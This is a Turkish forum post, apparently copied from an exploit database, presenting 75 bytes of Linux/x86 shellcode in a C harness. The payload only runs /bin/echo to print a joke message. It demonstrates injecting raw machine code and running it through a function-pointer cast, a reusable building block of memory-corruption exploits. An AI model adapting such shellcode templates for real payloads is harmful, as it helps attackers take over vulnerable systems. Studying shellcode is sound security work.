Hoşgeldin Misafir

Linux/x86 print "If psycho say this is the end?" Shellcode (75 bytes)

|^KahiN^|

24 Eyl 2020
414 Mesaj

Aktiflik

Seviye

Deneyim

TIM / GÖREV:
Linux/x86 print "If psycho say this is the end?" Shellcode (75 bytes)

Kod:
/*
# Exploit Title          : Linux/x86 print 'If psycho say "this is the end" ? :)' Shellcode (75 bytes)
# Exploit Author         : Febriyanto Nugroho
# Tested on              : Ubuntu 16.04 LTS
# Special thx    : Meisye Deedee Cornelia :P
*/
 
#include <stdio.h>
#include <string.h>
 
char shellcode[]=  "\x31\xdb\x8d\x43\x0b\x99\x52\x6a\x6f\x68"                          
                                   "\x2f\x65\x63\x68\x68\x2f\x62\x69\x6e\x89"                          
                                   "\xe3\x52\x66\x68\x3a\x29\x68\x6e\x64\x22"                          
                                   "\x20\x68\x68\x65\x20\x65\x68\x69\x73\x20"                          
                                   "\x74\x68\x68\x69\x73\x20\x68\x79\x20\x22"                          
                                   "\x74\x68\x6f\x20\x73\x61\x68\x73\x79\x63"                          
                                   "\x68\x68\x49\x66\x20\x70\x89\xe1\x52\x51"                                  
                                   "\x53\x89\xe1\xcd\x80";
 
int main(int argc, char **argv) {
  (*(void (*)()) shellcode)();
  return 0;
}
 
#  0day.today [2018-10-19]  #